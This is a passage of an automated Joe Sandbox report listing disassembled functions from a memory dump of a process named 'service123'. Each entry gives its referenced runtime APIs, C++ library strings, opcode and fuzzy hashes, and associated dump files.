Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: memmovememset
String ID: basic_string::_M_replace_aux
API String ID: 1288253900-2536181960
Opcode ID: 5372d237a400263cc524b820bc68124d4583532f512ae794533acfd409e6bdd9
Instruction ID: 0befa95e6dbf818433002bf269e442ac5c31b4d7274fe4925e3e4e9537f1aec3
Opcode Fuzzy Hash: 5372d237a400263cc524b820bc68124d4583532f512ae794533acfd409e6bdd9
Instruction Fuzzy Hash: A831827560D6998FC3059F28C8C0A2ABFF1AFC6604F15896DFE948BB05D631C856CF52

Function 6C1E3840 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C1E3898
memcpy.MSVCRT ref: 6C1E3911

Part of subcall function 6C1E5590: memcpy.MSVCRT ref: 6C1E5620

Strings

basic_string::_M_replace_aux, xrefs: 6C1E38C0

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: memcpy$memset
String ID: basic_string::_M_replace_aux
API String ID: 438689982-2536181960
Opcode ID: fdf50d713ed2ae85a3ac2f730ebd1a1e8d62d5b02fbcd5c0ee4d02e1b15cda2b
Instruction ID: fa82506e4f3e78d717f0e88e2ab344900a1118ec937c8a3cc1f661f1ccb7cd1b
Opcode Fuzzy Hash: fdf50d713ed2ae85a3ac2f730ebd1a1e8d62d5b02fbcd5c0ee4d02e1b15cda2b
Instruction Fuzzy Hash: 34215E72A0A7109FC300AF1DD88056EFBE4EBD9658F954A6EE89897311D331D854CB92

Function 6C19A9E0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6C19A9FD
wcslen.MSVCRT ref: 6C19AA4D

Strings

basic_string: construction from null is not valid, xrefs: 6C19AA20, 6C19AA70

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: wcslen
String ID: basic_string: construction from null is not valid
API String ID: 4088430540-2991274800
Opcode ID: 0b76f37071de4891107f104c7d7c991cdbf7a6ad8229986b0cf7205ae4d7a61b
Instruction ID: 40667fb82e3b9633c87346a14ff1d56093f5e921f3ffbaf63a7dff57ddaa3f6e
Opcode Fuzzy Hash: 0b76f37071de4891107f104c7d7c991cdbf7a6ad8229986b0cf7205ae4d7a61b
Instruction Fuzzy Hash: 991160B19152188BCB00EF2CD5808AAFBF4AF45618F42486EE8C99B311D231D958CB96

Function 6C19A5F0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6C19A60D
wcslen.MSVCRT ref: 6C19A65D

Strings

basic_string: construction from null is not valid, xrefs: 6C19A630, 6C19A680

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: wcslen
String ID: basic_string: construction from null is not valid
API String ID: 4088430540-2991274800
Opcode ID: 0b76f37071de4891107f104c7d7c991cdbf7a6ad8229986b0cf7205ae4d7a61b
Instruction ID: 9b6e5c7d3185ce14c1929ace1b4b9fe6f4a0fa848777ab744e26db79bd095bcb
Opcode Fuzzy Hash: 0b76f37071de4891107f104c7d7c991cdbf7a6ad8229986b0cf7205ae4d7a61b
Instruction Fuzzy Hash: D61160F19152188BCB00EF2CD4808AABBF4AF45618F42486EE8C89B311D631D959CB92

Function 6C1A98F0 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 1123COMMON

Download Yara Rule

Strings

-, xrefs: 6C1AA30E

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: 665929d262fe6fb704218e73c4a6d03d2b7d3201814f98936131ae31da6f4230
Instruction ID: 26592760d512a70ee9a87fd3646d5ce04b5ab1f175b75d4ccbf9bf7759730cec
Opcode Fuzzy Hash: 665929d262fe6fb704218e73c4a6d03d2b7d3201814f98936131ae31da6f4230
Instruction Fuzzy Hash: F9A2A078A043588FDB10CFA9C49079DBBF2AF46324F298658D865AB692D335DC86CF50

Function 6C1A87C0 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 1122COMMON

Download Yara Rule

Strings

-, xrefs: 6C1A91DE

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: 01741af4060dfe48037fa0460d47c1dacf8d248d006271151d5695e82ca0d93c
Instruction ID: 808a88fb90c53bb77abc54a217e8ab8c45eb6d4ad7d1a9faab1ca76d4d66fc75
Opcode Fuzzy Hash: 01741af4060dfe48037fa0460d47c1dacf8d248d006271151d5695e82ca0d93c
Instruction Fuzzy Hash: 84A2AF78A043988FDB10CFA9C49078DBBF2BF56324F298659D865AB691D335DC86CF40

Function 6C1E3690 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 49COMMON

Download Yara Rule

Strings

basic_string::_S_construct null not valid, xrefs: 6C1E3710

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID: basic_string::_S_construct null not valid
API String ID: 0-290684606
Opcode ID: 565dbd5f975c7e12367eb6a248e172be757747dbf56c41e2b246fedab5ef6076
Instruction ID: 1aa49e68302bb845aefa47c161edc142651bd3a7fe61802381a1918c4df7b63a
Opcode Fuzzy Hash: 565dbd5f975c7e12367eb6a248e172be757747dbf56c41e2b246fedab5ef6076
Instruction Fuzzy Hash: A40171B19097449BC310AF6AC08471BFFE4AF99328FD5886EE8C987721C339D5468B52

Function 6C19A970 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6C19A98D

Strings

basic_string: construction from null is not valid, xrefs: 6C19A9B0

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: wcslen
String ID: basic_string: construction from null is not valid
API String ID: 4088430540-2991274800
Opcode ID: c5bc9b1690807db2e5792907ef4d0e002898b389c5195abe7e44204cb4fadcbd
Instruction ID: 3d8513cd1cee620f4a68c2e233c06dbe3d28ab63a7637278c52ce188a606936e
Opcode Fuzzy Hash: c5bc9b1690807db2e5792907ef4d0e002898b389c5195abe7e44204cb4fadcbd
Instruction Fuzzy Hash: 6FF05EB19152188FCB00EF2CC48085AB7F4BF55218F5248ADE8C49B711D632E959CB92

Function 6C19A580 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6C19A59D

Strings

basic_string: construction from null is not valid, xrefs: 6C19A5C0

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: wcslen
String ID: basic_string: construction from null is not valid
API String ID: 4088430540-2991274800
Opcode ID: c5bc9b1690807db2e5792907ef4d0e002898b389c5195abe7e44204cb4fadcbd
Instruction ID: 30fb193b461784082b869f64a27aa5df31b63daa0c26c36214a381e2e8a0606a
Opcode Fuzzy Hash: c5bc9b1690807db2e5792907ef4d0e002898b389c5195abe7e44204cb4fadcbd
Instruction Fuzzy Hash: 8FF05EB1A152188FCB00EF2CC48085AB7F4BF55218F5248ADE8C49B715E232E959CB92

Function 6C19C510 Relevance: 2.5, Strings: 2, Instructions: 42COMMON

Download Yara Rule

Strings

basic_string::substr, xrefs: 6C19C568
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C19C570

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::substr
API String ID: 0-3532027576
Opcode ID: 567681bd1d4cedec43d0b40e5cd8721fee0b9963c37525bbfa1180eccbe7bc88
Instruction ID: 7fc602c417c168829a5460fdf2f287ecb67961ffebb28362b70529dbc8f58691
Opcode Fuzzy Hash: 567681bd1d4cedec43d0b40e5cd8721fee0b9963c37525bbfa1180eccbe7bc88
Instruction Fuzzy Hash: 7E017CB16082109BC704DF2CD48055AFBF1ABC9308F5489ADE488DB710D631D845CB86

Function 6C190740 Relevance: 2.5, Strings: 2, Instructions: 42COMMON

Download Yara Rule

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C1907A0
basic_string::substr, xrefs: 6C190798

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::substr
API String ID: 0-3532027576
Opcode ID: 2b163bbcb1f618a4cc0ae7f91ee5cb4c72a17815a8597d716d20cbf909652d61
Instruction ID: 237b6d5be5f4756f78571aa858cd4900cd404a09577c04f571a6ae773a8ee760
Opcode Fuzzy Hash: 2b163bbcb1f618a4cc0ae7f91ee5cb4c72a17815a8597d716d20cbf909652d61
Instruction Fuzzy Hash: A9016DB6A0A3009FC708CF29D88169BFBE0ABC9350F04D96DF488C7710C234D8418B87

Function 6C1B46E0 Relevance: 2.1, APIs: 1, Instructions: 873COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe7f89c237f845f843a0ba9ef2b00e701a2f73e66f353c1e2c27c7b6d40b2428
Instruction ID: 49ee13c1a42765c2c650035a8c02d98f8cca4d64a79f8ad3ce103cca0db3759a
Opcode Fuzzy Hash: fe7f89c237f845f843a0ba9ef2b00e701a2f73e66f353c1e2c27c7b6d40b2428
Instruction Fuzzy Hash: EF828C71E092988FDB11CFA9C49078DBBF1AF4A324F29C259E865BB795C3349845CF81

Function 6C1B2CCE Relevance: 2.1, APIs: 1, Instructions: 811COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e916786fe00b124fc300d0f5a9a45b979a438269ea123890aa7fe1d146353d14
Instruction ID: d6d304005805916dd07cd92e39a6a07f0310b2d185283337b6023c33c1eed2e6
Opcode Fuzzy Hash: e916786fe00b124fc300d0f5a9a45b979a438269ea123890aa7fe1d146353d14
Instruction Fuzzy Hash: 9A72BF70A08298CFDB11CFA8C49478DBBF1AF1A314F588659E4A5BBB91C734E846CF51

Function 6C1B140E Relevance: 2.1, APIs: 1, Instructions: 811COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76f78b539dd0074b8fcffc6ca65637828c6a934ec926c91ff1f2683497469810
Instruction ID: 2e7389aaf657ad864c1432d9bba349414cdbee746670cac91a1d9b9842ad0de6
Opcode Fuzzy Hash: 76f78b539dd0074b8fcffc6ca65637828c6a934ec926c91ff1f2683497469810
Instruction Fuzzy Hash: 55727C70A08298CFDB11CFA8C49478DBBF1BF1A314F2A8659E4A5AB791D374E845CF41

Function 6C1B2090 Relevance: 2.0, APIs: 1, Instructions: 790COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 741915c5853d6fa257125c2a218f57a5c0f5b7d3f7c899124994bda713d7a136
Instruction ID: 674b820d46fecf43064fdeb2d3993a3d147dab31ae2cbac63252bfb3dd910200
Opcode Fuzzy Hash: 741915c5853d6fa257125c2a218f57a5c0f5b7d3f7c899124994bda713d7a136
Instruction Fuzzy Hash: A4727C70E09299CFDB15CFA8C49878DBBF1BF1A314F188659D4A5ABB91C334A849CF41

Function 6C1B07D0 Relevance: 2.0, APIs: 1, Instructions: 789COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3958325d795b417cbd0c1e7a2bb784799467735747030260f02637a796772a23
Instruction ID: 8eb99960b8cac9053d21fbc4f9edbff2ad5e95e926ba8992a8299eddf08dd41e
Opcode Fuzzy Hash: 3958325d795b417cbd0c1e7a2bb784799467735747030260f02637a796772a23
Instruction Fuzzy Hash: 40726AB0E09298CFDB10CFA8C59478DBBF1AF16314F298659E4A5ABB91C734A845CF41

Function 6C19F760 Relevance: 2.0, APIs: 1, Instructions: 770stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C19F8B3

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 02536fe0dc21b9028167fedf7d8b1be13a2a62232735f22815451683cd99e0c3
Instruction ID: eaf906cfec0463ea63f7eabe830f09c24f1cde7505fec36e7ca1f8a508f733f1
Opcode Fuzzy Hash: 02536fe0dc21b9028167fedf7d8b1be13a2a62232735f22815451683cd99e0c3
Instruction Fuzzy Hash: 7B725A74E04258DFCB04CFA8C094A9DBBF2BF4A314F298659E865AB7A1C735AC41CF51

Function 6C1B7A20 Relevance: 1.9, APIs: 1, Instructions: 678COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 785f6011198c7affdd80377e603266f1ddab0004de43119b2a2a16fe1c6c6fd7
Instruction ID: 5a4ea9565ce7242bbbe9b842dd223ac10d5aa6a80a4e03ab3009e766ba2e1ce6
Opcode Fuzzy Hash: 785f6011198c7affdd80377e603266f1ddab0004de43119b2a2a16fe1c6c6fd7
Instruction Fuzzy Hash: 3052B070A052499FDB00CF68C4D479DBFB1AF46328F28865AE864BB792D335D845CFA1

Function 6C1A2360 Relevance: 1.6, APIs: 1, Instructions: 357COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff6372ef0a9251d138f0073624f0ea2ae09fccbdc705b561bfa349615f81e9fa
Instruction ID: 16e02fab9cbdf7c4223f1badfde19370e26d15b9a23071a57bf59544e6e9cf21
Opcode Fuzzy Hash: ff6372ef0a9251d138f0073624f0ea2ae09fccbdc705b561bfa349615f81e9fa
Instruction Fuzzy Hash: B5E16879A052588FCB01CFAAC4846DDBBF2BF49314F188265E869A7791D334AD42CF60

Function 6C1CDC70 Relevance: 1.6, APIs: 1, Instructions: 328COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddce1dec344faf4ac185e2707990aaa8d0d8670dbd329984dcfd35d468b9a667
Instruction ID: afb98e9a51dd9efce252fa8fe03b442f55a39d9d1e0472cfc94001688f226e3e
Opcode Fuzzy Hash: ddce1dec344faf4ac185e2707990aaa8d0d8670dbd329984dcfd35d468b9a667
Instruction Fuzzy Hash: 79D16B71A442588FCB00DF68C4806DDBBF1BF69324F594259F864AB791D339E941CBA2

Function 6C1C9B60 Relevance: 1.3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

, xrefs: 6C1C9BF8

Memory Dump Source

